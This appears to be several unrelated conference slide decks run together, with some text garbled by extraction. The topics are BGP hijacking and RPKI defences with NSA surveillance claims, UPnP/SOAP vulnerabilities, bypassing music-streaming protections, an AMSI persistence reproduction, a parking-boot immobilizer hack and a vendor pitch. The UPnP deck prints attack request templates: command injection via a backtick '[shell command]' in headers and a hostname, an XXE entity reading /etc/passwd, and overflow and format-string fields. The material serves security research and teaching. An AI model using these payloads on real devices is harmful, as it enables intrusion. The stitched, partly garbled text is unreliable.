首先,如节上所述,域间路由中间人攻击的第1步是实施前缀劫持。鉴于前缀劫持会造成MOAS(multiple origin AS)冲突, 因此产生异常的MOAS是域间路由中间人攻击的第一个重要特征。 由上述分析显见,除产生上述控制平面的MOAS异常外,域间路由中间人攻击还具有另外2个典型特征,即: 1) 受污染网络在攻击之后,其到达受害前缀的数据平面的转发路径比控制平面的AS-path要延长(换言之,控制平面的 AS-path是其数据平面的转发路径的子路径)。 2) 受污染网络在攻击之后到达受害前缀的转发路径的终点正是攻击之前到达该前缀的AS-path的终点。 综合上面的分析,可使用公式表达式来描述: : 算法模型(检测篇---外部引用) 安全增强协议RPKI 与BGPsec (终极防御篇)  RPKI(RFC 6810) 针对BGP路由前缀劫持问题,当前业界正在推进的方案是RPKI(Resource Public Key Infrastructure:互联网码号资源公钥基础设施)。 在之前亚马逊的案例中,当天上午为时两小时的过程中,攻击者(AS10297)对以下前缀发起了路由起源声明: 205.251.192.0/24, AS10297 205.251.193.0/24, AS10297 205.251.195.0/24, AS10297 205.251.197.0/24, AS10297 205.251.199.0/24, AS10297 如果亚马逊部署RPKI并签发资源证书和ROA(路由起源认证),那么其他部署了RPKI路由器的自治网络就可以帮助过滤这些虚假路由。 具体地说,亚马逊使用自己的RPKI证书签发以下ROA并发布到全球资料库中: <205.251.192.0/23, AS16509> <205.251.193.0/23, AS16509> <205.251.195.0/23, AS16509> <205.251.197.0/23, AS16509> <205.251.199.0/23, AS16509> 那么部署了RPKI路由器的其他自治网络,就可以从RPKI依赖方那里得到验证后的IP前缀和起源AS号的绑定关系,继而判定起源于AS16509的相应 路由通告为真并将其保留,以及判定由攻击者发起的起源于AS10297的路由通告为假并将其丢弃,从而完全抵御这次路由劫持。 RPKI作为一种域间路由安全机制,本身只能提供路由起源认证,而不能提供路由全路径认证,所以RPKI能够避免以上这种前缀劫持攻击。 安全增强协议RPKI 与BGPsec (终极防御篇)  BGPsec(RFC 8206) 但其他类型的路由攻击(如路由泄漏攻击和路径缩短攻击)可以绕过RPKI进行流量劫持。针对这种情况,IETF提出了一种部署在RPKI 之上的全路径认证机制——BGPsec,并将其标准化。BGPsec要求每一个AS都对它接收到的路由通告消息进行签名,签名内容作为路由消 息的路径属性BGPsec_Path_Signatures通告给邻居AS。 签名内容包括: (1)上一个AS的BGPsec_Path_Signatures; (2)本自治系统的AS号; (3)路由消息要发往的自治网络的AS号; (4)本AS的RPKI路由器公钥。 由此可见,BGPsec_Path_Signatures实际上代表了AS路径中的前一AS对后一AS继续通告该路由的授权。 部署了BGPsec的AS在路径签名之前还要进行路径验证,验证过程如下: 当一个AS收到路由通告消息后,会依次验证AS路径中每一个AS对应的BGPsec签名(包含在BGPsec_Path_Signatures中)。如果全部验 证成功,说明该AS路径是真实有效的,当前AS才可能采用并继续向外广播该路由通告。BGPsec可以有效避免BGP路径缩短攻击。 Say good,but you exchange the CARDS under the table PART 05 BGP,AT&T and NSA BGP,AT&T and NSA 说好的不出老千,你却桌底换牌…… 棱镜门始。末… 棱镜计划(PRISM)是一项由美国国家安全局(NSA)自2007年起开始实施的绝密电子监 听计划。该计划的正式名号为“US-984XN”。 揭秘者德华·斯诺登曾是美国中央情报局技术分析员,《华盛顿邮报》说,斯诺登之前 是国家安全局设在夏威夷的威胁行动中心的系统管理员,更早曾替中情局工作。斯诺登爆料 称,美国政府随时可以读取任何人的电邮,令包括谷歌在内的网络巨头致函美国政府自清, 他还称美国政府已入侵中国大陆与香港特区的网络多年。 泄露的文件中描述PRISM计划能够对即时通信和既存资料进行深度的监听。许可的监听对 象包括任何在美国以外地区使用参与计划公司服务的客户,或是任何与国外人士通信的美国 公民。国家安全局在PRISM计划中可以获得的数据电子邮件、视频和语音交谈、影片、照片、 VoIP交谈内容、档案传输、登入通知,以及社交网络细节。综合情报文件“总统每日简报” 中在2012年内在1,477个计划使用了来自PRISM计划的资料。 泄露的数据显示,自2009年以来,美国已针对中国网络发动了大规模的入侵活动。攻击 目标达到数百个之多,其中还包括学校。据悉,美国政府黑客主要通过入侵巨型路由器从而 一举入侵成千上万台电脑,而不是分别入侵每一台电脑。 BGP,AT&T and NSA 基础设施建设篇 BGP,AT&T and NSA 基础设施建设篇 美国国家安全局(NSA)的秘密据点隐藏在美国各地的城市中,那些高耸的没有窗户的摩天大楼和足以抵御地震,甚至核攻击。成千上万的人每天经过这些建筑物,很少再给他们看第二眼,因为 他们的功能并未公开。它们是全球最大的电信网络中不可分割的一部分,它们也与有争议的国家安全局监视计划相关。 亚特兰大,芝加哥,达拉斯,洛杉矶,纽约,旧金山,西雅图和华盛顿特区。截讯网在以上每个城市都确定了一个AT&T的设施,其中的网络设备可以截获美国传输大量的互联网数据。一系列证据 (包括国家安全局的文件,公共记录以及与多名前美国电报电话公司员工的访谈) 都表明,这些建筑物是国家安全局间谍活动的核心,多年来一直监控数十亿封通过美国的电子邮件,电话和在线聊 天。(可靠消息来源theintercept.com) BGP,AT&T and NSA 技术可行性  战略层面技术点可行性: 在恰当节点先通过BGP Prefix hijack、BGP AS_PATH hijack、 HTTPS TLS hijack等技术控制目标网络流量,然后分而治之  战术层面技术点可行性: 衔接上一环节的分类流量,并针对不同具体类型的流量制定与之对应的后续处理流程。例如: 明文监听: ftp、http、telnet、http、smtp、snmp、pop、pop3、VoIP、UPnP… 明文传输数据不解释。 加密通讯信任关系降级攻击: ssh、https(tls hijack)、3389(RDP)、VNC… 第一步client至server端信任关系欺骗。后面的都可以依靠假证书或信任关系解密数据。 加密数据通讯监听: ssh、https、mssql、mysql、Oracle Datebase、DB2、3389(RDP)、VNC… 实时监听密文数据包,必要时调用超算资源破解。 BGP,AT&T and NSA 我国互联网节点通讯安全现状 网络安全公司 Rapid7 近日发布的《2018国家暴露指数报告》显示,全球端口暴露最严重的十个国家为美国、中国、加拿大、韩国、英国、法国、荷兰、日本、德国和墨西哥,其中 美国暴露的情况最严重,中国位列第二,仅次于美国。 中国1400万服务器暴露原因 中国有超过3.4亿个 IPv4 地址,Rapid7 的研究人员发现中国有约1400万台服务器对扫描有响应。 报告指出,中国暴露严重的主要原因在于缺乏加密服务,这使被动的监控和针对不安全明文协议的主 动攻击成为可能。从这方面来看,中国的 Web 服务器数量远不及其他国家,且加密 Web 的比率为26%, 远远低于 Rapid7 期望的35%。 Rapid7 指出,由于中国人倾向于使用中国托管的网站,而非国际托管服务,因此这一点会带来麻烦。 同样,中国的加密 Shell 比率为58%,远远低于与之经济实力相当国家的平均水准(75%),更易遭受类 似 Mirai 僵尸网络的攻击。 BGP,AT&T and NSA 总体概况综述: 1、引用的数据反映了现状态下我国暴露在外的互联 网的节点数世界第二,仅次于美国。 我国互联网节点通讯安全现状 HTTP VS HTTPS Telnet VS SSH IMAP VS IMAP over SSL POP3 VS POP3 over TLS SMTP VS SMTPS 2、这些暴露在外的数据超过50%是没有加密的。(50%+) 3、以上还没有算上加密协议漏洞、可进行加密通讯信 任关系降级攻击和软硬件级别供应链攻击手段影响的 范围。 BGP,AT&T and NSA 总体概况综述: 近几年来虽然IETF已经有RPKI、BGPsec等安全的BGP标准推出,但由于种种原因(硬件资源消耗、迭代成本、过度风险等)这些标准的推进部署进度依旧十分缓慢。 所以要有一个清晰的认识: BGP在未来的5至10年内依然不是安全的 我国互联网节点通讯安全现状 谢谢观看 演讲人:张玉兵(Eric) 360威胁情报中心 个人交流微信
pdf
Let’s talk about SOAP, baby. Let’s talk about UPnP. Ricky “HeadlessZeke” Lawshae – DEFCON 23 Who am I? • Security Researcher for HP TippingPoint’s DVLabs team • At Rapid7 before that, and BreakingPoint before that • Speaker at Defcon, Recon, Insomni’hack, and Ruxcon • Voider of warranties • Reader of comic books • Drinker of beers • TRIVIA: I once got a job at a police department while I had 4 active warrants out for my arrest. What are we talking about? • The Internet of Things™ (ugh…) • It’s here, whether you like it or not • “Just put a network interface on it. We’ll worry about why later.” • Smart devices aren’t very smart • Need simple way to talk to each other • Ease-of-use: Get the tech out of the way of UX • Often accomplished with SOAP/UPnP services • Super talkative • Happily tell you all their capabilities in a well-structured format • Also, don’t bother themselves with pesky issues like security What are we talking about? • UPnP • Universal Plug and Play • SSDP • Simple Service Discovery Protocol • SCPD • Service Control Protocol DeBnition • SOAP • Simple Object Access Protocol Let’s talk about all the good things… UPnP • 1900/UDP • HTTP over UDP allowing devices to discover each other • Multicast 239.255.255.250 • UPnP Stack[1] • Discovery • Advertising and Searching • Description • An XML Ble describing the device • Control • Call an action or query for a value • Eventing • Used for announcing state changes • Presentation • UI…web page or management portal I guess? [1] http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0-20080424.pdf UPnP – Discovery All you need to know about discovery. Also, this is the really noisy part. UPnP – Discovery All you need to know about discovery. Also, this is the really noisy part. UPnP – Description • XML Ble usually hosted on a high number TCP port • Version info • upnp.org spec • Usually just 1.0 • Device deBnitions • Device type • Make/model/UUID • Service list • Service type • SCPD URL • Control URL • Event URL UPnP – Description <specVersion> <major>1</major> <minor>0</minor> </specVersion> <URLBase>http://10.0.0.1:5000/</URLBase> <device> <pnpx:X_hardwareId>VEN_01f2&…&REV_01</pnpx:X_hardwareId> <pnpx:X_deviceCategory>NetworkInfrastructure.Router</pnpx:X_deviceCategory> <df:X_deviceCategory>Network.Router.Wireless</df:X_deviceCategory> <pnpx:X_compatibleId>urn:schemas-upnp-org:device:InternetGatewayDevice:1</pnpx:X_compatibleId> <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType> <friendlyName>WNDR3400v2 (Gateway)</friendlyName> <manufacturer>NETGEAR, Inc.</manufacturer> <manufacturerURL>http://www.NETGEAR.com</manufacturerURL> <modelDescription>NETGEAR WNDR3400v2 N600 Wireless Router</modelDescription> <modelNumber>WNDR3400v2</modelNumber> <modelName>WNDR3400v2</modelName> <modelURL>http://www.netgear.com</modelURL> <UDN>uuid:bc567461-ee40-a9c2-39d3-5338c402cc8d</UDN> <iconList>…</iconList> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType> <serviceId>urn:upnp-org:serviceId:L3Forwarding1</serviceId> <SCPDURL>/Public_UPNP_Layer3F.xml</SCPDURL> <controlURL>/Public_UPNP_C1</controlURL> <eventSubURL>/Public_UPNP_Event_1</eventSubURL> </service> </serviceList> </device> UPnP – Description <specVersion> <major>1</major> <minor>0</minor> </specVersion> <URLBase>http://10.0.0.1:5000/</URLBase> <device> <pnpx:X_hardwareId>VEN_01f2&…&REV_01</pnpx:X_hardwareId> <pnpx:X_deviceCategory>NetworkInfrastructure.Router</pnpx:X_deviceCategory> <df:X_deviceCategory>Network.Router.Wireless</df:X_deviceCategory> <pnpx:X_compatibleId>urn:schemas-upnp-org:device:InternetGatewayDevice:1</pnpx:X_compatibleId> <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType> <friendlyName>WNDR3400v2 (Gateway)</friendlyName> <manufacturer>NETGEAR, Inc.</manufacturer> <manufacturerURL>http://www.NETGEAR.com</manufacturerURL> <modelDescription>NETGEAR WNDR3400v2 N600 Wireless Router</modelDescription> <modelNumber>WNDR3400v2</modelNumber> <modelName>WNDR3400v2</modelName> <modelURL>http://www.netgear.com</modelURL> <UDN>uuid:bc567461-ee40-a9c2-39d3-5338c402cc8d</UDN> <iconList>…</iconList> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType> <serviceId>urn:upnp-org:serviceId:L3Forwarding1</serviceId> <SCPDURL>/Public_UPNP_Layer3F.xml</SCPDURL> <controlURL>/Public_UPNP_C1</controlURL> <eventSubURL>/Public_UPNP_Event_1</eventSubURL> </service> </serviceList> </device> UPnP – SCPD • XML Ble deBning the service actions and arguments • Version info • Same deal as description • Action list • Action name • Arguments • Argument name • Direction (input/output) • Variable name • Variable list • Variable name • Data type UPnP – SCPD <actionList> <action> <name>SetDefaultConnectionService</name> <argumentList> <argument> <name>NewDefaultConnectionService</name> <direction>in</direction> <relatedStateVariable>DefaultConnectionService</relatedStateVariable> </argument> </argumentList> </action> <action> <name>GetDefaultConnectionService</name> <argumentList> <argument> <name>NewDefaultConnectionService</name> <direction>out</direction> <relatedStateVariable>DefaultConnectionService</relatedStateVariable> </argument> </argumentList> </action> </actionList> <serviceStateTable> <stateVariable sendEvents="yes"> <name>DefaultConnectionService</name> <dataType>string</dataType> </stateVariable> </serviceStateTable> UPnP – SCPD <actionList> <action> <name>SetDefaultConnectionService</name> <argumentList> <argument> <name>NewDefaultConnectionService</name> <direction>in</direction> <relatedStateVariable>DefaultConnectionService</relatedStateVariable> </argument> </argumentList> </action> <action> <name>GetDefaultConnectionService</name> <argumentList> <argument> <name>NewDefaultConnectionService</name> <direction>out</direction> <relatedStateVariable>DefaultConnectionService</relatedStateVariable> </argument> </argumentList> </action> </actionList> <serviceStateTable> <stateVariable sendEvents="yes"> <name>DefaultConnectionService</name> <dataType>string</dataType> </stateVariable> </serviceStateTable> UPnP – Control • This is where SOAP comes in (Bnally!) • Mostly just frontends for an RPC service or CGI script • SOAP envelopes • XML-formatted API calls • Service type from description XML • Action name and arguments from SCPD XML • POST envelope to control URL UPnP – Control POST /Public_UPNP_C1 HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "urn:schemas-upnp-org:service:Layer3Forwarding:1#SetDefaultConnectionService" Content-Length: 568 Host: x.x.x.x:12345 <?xml version="1.0" encoding="utf-8" ?> <env:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/"> <env:Body> <n1:SetDefaultConnectionService xmlns:n1="urn:schemas-upnp-org:service:Layer3Forwarding:1"> <NewDefaultConnectionService xsi:type="xsd:string">blah</NewDefaultConnectionService> </n1:SetDefaultConnectionService> </env:Body> </env:Envelope> TL;DR But what can you do with it? But what can you do with it? • Control AV equipment • Home automation • Network administration • Physical security systems (ok, easy there buddy) • Industrial monitoring and control (uh…what?) • And this is just the oUcial specs Neat, so… • All our devices can talk to each other! • Brave new worlds of remote control and automation! • Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! • The future is now! • Nothing could possibly go wrong! And the bad things… What about security? • Embedded devices • Limited memory and processing power • Board dev and software dev are often completely diVerent companies • Copy-and-paste development • Keep costs low • Not exactly concerned/knowledgeable • Deployment • Millions of internet-facing UPnP-enabled devices • Too many vendors to count • Frontend is standardized, backend varies even within same vendor • DiUcult to patch/update Brmware • Just because you can, doesn’t mean you should What about security? • XML parsing is hard • Needs lots of system resources • Free-form, user-supplied data • In 2013, 2.5% of CVE’s were XML-related[2] • Of those, almost 36% had CVSS severity of 7 or above • As the use-case for XML grows, so do the classes of vulns • Recursion bugs, XXE, command injection, etc… [2] http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=xml Attack surface • UPnP service • HTTP header parsing • SSDP parsing • OS command injection • Information disclosure • SOAP service • HTTP header parsing • XML parsing • Injection vulns • OS command • SQL injection • SOAP injection • Information disclosure • Ridiculous levels of unauthenticated device control Attack surface – UPnP • CVE-2012-5958 • Disclosed a couple years ago by HD Moore (one of many) • https://community.rapid7.com/docs/DOC-2150 • Calls strncpy to copy a string from the ST header into TempBuf[COMMAND_LEN] • Size argument for strncpy is based on number of characters between colons Attack surface – UPnP • CVE-2012-5958 • Disclosed a couple years ago by HD Moore (one of many) • https://community.rapid7.com/docs/DOC-2150 • Calls strncpy to copy a string from the ST header into TempBuf[COMMAND_LEN] • Size argument for strncpy is based on number of characters between colons M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:uuid:schemas:device:[string longer than COMMAND_LEN]:blah Man:"ssdp:discover" MX:3 Attack surface – UPnP • D-Link DIR-815 UPnP Command Injection • Disclosed Feb 2013 by Zach Cutlip • http://shadow-Ble.blogspot.com/2013/02/dlink-dir-815-upnp-command-injectio n.html • Contents of ST header get passed as arguments to M-SEARCH.sh • No validation or sanitization Attack surface – UPnP • D-Link DIR-815 UPnP Command Injection • Disclosed Feb 2013 by Zach Cutlip • http://shadow-Ble.blogspot.com/2013/02/dlink-dir-815-upnp-command-injectio n.html • Contents of ST header get passed as arguments to M-SEARCH.sh • No validation or sanitization M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:uuid:`[shell command]` Man:"ssdp:discover" MX:3 Attack surface – SOAP • AirTies RT Series SOAPAction Name BuVer Over]ow • Disclosed earlier this year by Onur Alanbel • https://www.exploit-db.com/exploits/36839/ • ExecuteSoapAction function allocates statically-sized buVer • Calls memcpy to copy value of SOAPAction header into it with no bounds checking Attack surface – SOAP • AirTies RT Series SOAPAction Name BuVer Over]ow • Disclosed earlier this year by Onur Alanbel • https://www.exploit-db.com/exploits/36839/ • ExecuteSoapAction function allocates statically-sized buVer • Calls memcpy to copy value of SOAPAction header into it with no bounds checking POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "n:schemas-upnp-org:service:WANIPConnection:1# [more than 2048 bytes]" Content-Length: [length of req] Host: x.x.x.x:5555 Attack surface – SOAP • Broadcom SetConnectionType Format String Vulnerability • Disclosed a couple years ago by Leon Juranic and Vedran Kajic • http://sebug.net/paper/Exploits-Archives/2013-exploits/1301-exploits/DC-2013 -01-003.txt • SetConnectionType action feeds value of NewConnectionType argument to snprintf • No sanitization of user-controlled value Attack surface – SOAP • Broadcom SetConnectionType Format String Vulnerability • Disclosed a couple years ago by Leon Juranic and Vedran Kajic • http://sebug.net/paper/Exploits-Archives/2013-exploits/1301-exploits/DC-2013 -01-003.txt • SetConnectionType action feeds value of NewConnectionType argument to snprintf • No sanitization of user-controlled value <SOAP-ENV:Body> <m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as=""> <NewConnectionType>[format string]</NewConnectionType> </m:SetConnectionType> </SOAP-ENV:Body> Attack surface – SOAP • CVE-2014-3242 • Disclosed last year by pnig0s • http://www.pnigos.com/?p=260 • SOAPpy allows declaration of user-deBned XML External Entities in SOAP request • No sanitization of user-controlled value Attack surface – SOAP • CVE-2014-3242 • Disclosed last year by pnig0s • http://www.pnigos.com/?p=260 • SOAPpy allows declaration of user-deBned XML External Entities in SOAP request • No sanitization of user-controlled value <!DOCTYPE v1 [<!ENTITY xxe SYSTEM "Ble:///etc/passwd">]> <SOAP-ENV:Envelope … > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">&xxe;</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Attack surface – SOAP • CVE-2014-2928 • Disclosed last year by Brandon Perry (PBerry Crunch!) • http://seclists.org/fulldisclosure/2014/May/32 • F5 iControl API set_hostname action passes value of hostname argument to shell • Once again, no sanitization of user-controlled value Attack surface – SOAP • CVE-2014-2928 • Disclosed last year by Brandon Perry (PBerry Crunch!) • http://seclists.org/fulldisclosure/2014/May/32 • F5 iControl API set_hostname action passes value of hostname argument to shell • Once again, no sanitization of user-controlled value <SOAP-ENV:Body> <n1:set_hostname xmlns:n1="urn:iControl:System/Inet"> <hostname>`[shell command]`.whatever.com</hostname> </n1:set_hostname> </SOAP-ENV:Body> Attack surface – SOAP • Netgear R6200 SetFirmware fun • Spread across a series of blog posts starting in April 2015 (Zach Cutlip again) • http://shadow-Ble.blogspot.com/2015/04/abandoned-part-01.html • Dead/non-functional code that shipped with the device… • Multiple vulnerabilities • No authentication • And he works around the fact that the code doesn’t work to upload modiBed Brmware images anyway DEMO TIME Conclusion Playing along at home • Know your network • M-SEARCH every network you connect to • Watch for new NOTIFY messages • If you don’t need UPnP, disable it • If not on the device, then at the router • Keep on top of Brmware updates • Not always automatic Playing along at home • Fuzz the crap out of it • Burp – http://portswigger.net/burp/ • WSFuzzer – https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project • Miranda – http://code.google.com/p/miranda-upnp/ • My stuV…if I ever release it, which I probably won’t… Hit me up • @HeadlessZeke on twitter • Usually lurking on freenode as HeadlessZeke • [email protected] Thank you!
pdf
Franz Payer Tactical Network Solutions http://cyberexplo.it Acknowledgements q  Zachary Cutlip q  Craig Heffner q  Tactical Network Solutions Special Thanks q  Ronald Jenkees §  Independent artist §  http://www.ronaldjenkees.com Legal q  EFF (www.eff.org) q  DMCA (Digital Millennium Copyright Act) q  CFAA (Computer Fraud and Abuse Act) q  Opinions/views expressed here are mine, not my employer’s What I’m going to talk about q  Background info q  Music streaming basics q  Security investigation process q  Exploit demo q  Questions End-Goal q  Google-Chrome Extension §  Mimics music player when possible §  Duplicates requests otherwise q  Alternative §  Duplicates request + caches §  Hex-dump analysis Wall of shame What is streaming? q  A way to constantly receive and present data while it is being delivered by a provider – Wikipedia q  Capture data pieces §  Reassembly §  Encryption What is streaming? q  Protocols §  Custom protocol – Desktop apps §  HTTP/HTTPS – Browser apps q  2 types §  Static ○  http://cd09.128.music.static.jango.com/music/10/47/34/1047349946.mp3 §  Dynamic ○  http://stream126-he.grooveshark.com/stream.php? streamKey=1202c0ba6260e12c0b84d64b72845181d3195496_51eaabf9_24f1b 63_2cb51a8_e0616020_36_0 Types of music players q  Flash §  Majority §  May still use JavaScript §  Must decompile §  Separate environment q  HTML5 §  Experimental §  Entirely in JavaScript §  Usually minified Where’s the vulnerability? q  Browser does heavy lifting q  Two ways to exploit §  Copy requests ○  Easy ○  Suspicious ○  Limitations §  Generate requests ○  Difficult ○  Undetectable w/ sessions Investigation process q  Breadth before depth q  Locate music file in network traffic §  Filter by XHR traffic + sort by type q  Inspect any parameters in the request q  Locate origin of those parameters §  Page URL §  Page source §  localStorage §  JavaScript q  Attempt to replicate the request Target: Aimini q  Flash q  Almost nonexistent security q  Good first target §  Don’t even need to look at the code Analyzing network traffic The easy way out The easy way out Analyzing the song request Looking for parameters Target: Grooveshark q  HTML5 (http://html5.grooveshark.com/) q  Several factors of authentication q  Minified JavaScript q  Not for the faint of heart q  Keep track of what you are doing JavaScript beautifier q  You’re going to need it q  http://jsbeautifier.org/ Analyzing the song request Analyzing more.php Analyzing more.php So now what? q  We need: §  streamKey q  How do we get it? §  more.php - getStreamKeyFromSongIDEx §  Session - ? §  Token - ? §  UUID - ? §  songID - ? q  more.php - getCommunicationToken Looking through app.min.js Recap q  We need: §  streamKey q  How do we get it? §  more.php - getStreamKeyFromSongIDEx §  Session – window.GS.config §  Token - ? §  UUID - ? §  songID - window.GS.models.queue.models q  more.php - getCommunicationToken Looking for variables – app.min.js Recap q  We need: §  streamKey q  How do we get it? §  more.php - getStreamKeyFromSongIDEx §  Session – window.GS.config §  Token - ? §  UUID – copied function from app.min.js §  songID - window.GS.models.queue.models q  more.php - getCommunicationToken Looking for variables – app.min.js Looking for variables – app.min.js Looking for variables – app.min.js Looking for variables – app.min.js Recap q  We need: §  streamKey q  How do we get it? §  more.php - getStreamKeyFromSongIDEx §  Session – window.GS.config §  Token - getCommunicationToken §  UUID – copied function from app.min.js §  songID - window.GS.models.queue.models q  more.php - getCommunicationToken Demo Time Things I learned q  Downloading music is inconvenient q  Services were fairly easy to exploit q  Impossible to completely protect streaming Things you should know q  People have bad security (shocker) q  Several services will patch their code now q  Several services won’t patch their code q  The same web-traffic logging will work with some video streaming websites too. Case Study: Last.fm q  Heavily secured §  Cap bandwidth to match playback speed §  One use tokens §  Users may only have 1 stream open at a time q  Could not exploit §  Would require large amount of time §  Hundreds of lines of obfuscated code §  Bandwidth cap prevents stealing of entire library Mitigations q  Current technology §  One-time use tokens §  Encrypted streams (rtmpe) §  Returning songs in pieces §  Code obfuscation q  Future proofing: §  HTML5 audio tag with DRM support q  “HTTP Live Streaming as a Secure Streaming Method” – Bobby Kania, Luke Gusukuma References q  Browsershark §  https://chrome.google.com/webstore/detail/browsershark/ jhbjnipjccjloncefdoknhicbnbjaefh §  Or bit.ly/18UpQtb §  https://github.com/fpayer/browsershark q  Blog §  http://cyberexplo.it/ q  HTTP Live Streaming as a Secure Streaming Method §  http://vtechworks.lib.vt.edu/bitstream/handle/10919/18662/ Instructions%20for%20HTTP%20Live%20Streaming %20Final.pdf q  JS Beautifier §  http://jsbeautifier.org/ Contact q  Twitter: @franz780 q  [email protected] Questions?
pdf
原⽂链接,我做个复现. https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/ <https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/> https://twitter.com/netbiosX/status/1282051493676417028 <https://twitter.com/netbiosX/status/1282051493676417028> 出现错误的话. 试试 然后效果就是这样 视频上传到B站了 bilibili:RedTeamWing 前⾔ 利⽤ lcewirg nANILKOITSLAaS-OO.星rA SscLseRAeuSnJLON MiCRosoftNindws14.18362.900 CL201MicRosoftCorporationoE C:YUsersYXuanJiansuhoami whoam desktop-tigjskaxuanjian CALUSCRsIXuanJianhaha haha HaDOOGBTTTZIDEmtoTeiZLE "haha' ABBBBOLOO c:LUseRSIXUaNJiaN2 回 WORSNASGML 1 rvs 1 net user administrator /active:yes
pdf
Unbootable Exploiting the PayLock SmartBoot Vehicle Immobilizer what is a boot? old school PayLock SmartBoot What Do I Do After My Car Gets Booted? by NYC Department of Finance well… how else can I remove it? the wrong way the wrong way the wrong way Reverse Engineering the PayLock SmartBoot disassembly [insert disassembly image] the guts PIC16F628A use the tools at your disposal 10100010001111 11111111111111 11111111111111 11111111111111 00000011111111 00100000000011 00000110000011 00000011111110 00100000000100 00000011111101 10100010011001 01011010000011 11000011110000 00000010000110 01001110000001 01001010000011 we have output! 00000110101110 11000000001110 10000000100001 01100000000011 10100000011111 11000000001101 10000000100001 01100000000011 10100000011111 11000000001011 10000000100001 01100000000011 10100000011111 11000000000111 10000000100001 00100000101110 10100010001010 01010000000011 00000010000110 01111000000110 00000000001000 00101010101110 01111010000110 00000000001000 00101010101110 01111100000110 00000000001000 00101010101110 01111110000110 00000000001000 00101010101110 01000000000011 ... hexify and disassemble looks nice. what are we missing? EE… EE… EEPROM? EEPROM update our arduino code dump the eeprom data et voilà the right way [insert unlock video] (and don’t forget to pay your parking tickets)
pdf
主办方 赞助商 多元化新零售业务安全防护 —— 瑞数动态安全超融合解决方案 瑞数信息 吴剑刚 3 应用变化 API应用 APP应用 Web应用 微信/小程序 Web攻击防护 APP/API防护 微信/小程序防护 全应用融合防护 需求变化 随着数字化业务深化,导致应用安全防护需求不断升级 组合攻击 自动化攻击 人工渗透 手段变化 0day漏洞 已知漏洞 业务威胁 威胁变化 规则防护 安全联防 主动防御 理念变化 4 注:数据来源《瑞数信息Bots自动化威胁报告》 5 App/JSON 6% App/XML 26% Text/XML 14% Text/HTML 54% API访问流量占比46% App/JSON 69% Text/XML 14% Text/HTML 17% API访问流量占比83% 5年时间,网站 访问流量中API 流量从46%增 长到83% 6 利用合法业务逻辑 模拟合法操作 大量使用“工具” 高效率和规模化 多源低频多特征 传统安全很难识别 批量注册、撞库及暴力破解 恶意爬取金融产品、敏感数据 虚假交易和交易篡改 漏洞扫描和零日漏洞探测 营销资源恶意抢占、薅羊毛 在线交易 对外业务 市场营销活动 数据服务 注册及登录 7 全渠道、全功能 大数据分析、威胁透视 通过动态技术,针对自动 化攻击建立全方位纵深防 御体系,从而形成事前, 事中,事后安全风险闭环, 消除用户信息安全体系建 设中的“安全孤岛”问题, 适应当前复杂多变的网络 和应用环境,保障信息系 统的动态、长期安全。 Web/H5 APP 微信/小程序 API 动 态 安 全 超 融 合 平 台 业务场景 Web攻击防护 APP攻击防护 API 管理/保护 业务攻击防护 功能层 动态令牌 动态验证 动态混淆 动态封装 设备指纹 威胁模型 生成信誉库 攻击者画像 信誉数据输 入输出 定时器 软拦截 动态挑战 CC防御 基于有监督和无监督学习模式下的智能AI识别引擎 API管理/防护 动态WAF Bot管理 AI + 动 态 策 略 层 可编程对抗 业务威胁感知 动态技术 1 数据共享 第三方数据输入/输出 瑞数情报数据 APP数据 API网关数据 接入渠道 8 浏览器 移动App 对应用层的HTML代码进行 动态变幻 动态验证 运行环境验证,以甄别“人”还是“自动化” 如:对抗模拟浏览器及自动化的攻击 动态安全防护 动态封装 网页底层代码变换并封装,隐藏攻击入口, 如:对抗一般扫描其及爬虫 动态混淆 提交的客户端敏感数据进行混淆变化,保 护数据,防篡改 如:对抗中间人攻击 动态令牌 一次性的页面动态令牌,确保执行正确的 业务逻辑 如:对抗重访攻击或越权 Web/APP 服务器 API 应用 服务器 9 资产 管理 访问行 为管控 攻击 防护 敏感数 据管控 Ø API资产自动识别、梳 理和分组 Ø API资产生命周期管理 ØAPI敏感数据识别 Ø敏感数据脱敏和防护 ØAPI安全攻击防护 ØAPI请求参数合规管控 ØAPI运行情况监控 ØAPI请求、访问行为监控 ØAPI异常行为管控 10 11 12 简单脚本 和工具 具备JS解析 能力的工具 脚本驱动 浏览器 录屏 操作 真人操作 动态验证,用户环境、行为拦截 无法解析动态令牌,直接拦截 动态挑战,可编程对抗 设备指纹,行为分析 业务威胁建模,信誉拦截 超融合方案防护效果 14 防漏洞探测 防零日漏洞 防应用 DDoS 防应用漏洞攻击 应用安全 数据管控 防爬虫 防内鬼 防数据遍历 防拖库 业务安全 防撞库/暴力破解 防批量注册 防虚假交易 防薅羊毛 动态对抗 动态挑战 可编程响应 软拦截 行为管控 15 业务无感知,无需代码修改 风控前置、辅助业务风控 构建用户画像,辅助业务经营分析 内置威胁模型,覆盖 OWASP 21种 自动化威胁场景 持续对抗,软拦截,防逆向 16 10亿 + 账户 35亿 + 线上交易 银行 电信 汽车 制造 在线支付 电商 教育 航空 300亿 + 安全访问 每天阻挡 100亿 + 自动化攻击 450 + 客户 THANKS 谢 谢! 安世加专注于⺴络安全⾏业,通过互联⺴平台、线下沙⻰、 峰会、⼈才招聘等多种形式,致⼒于创建亚太地区最好的甲 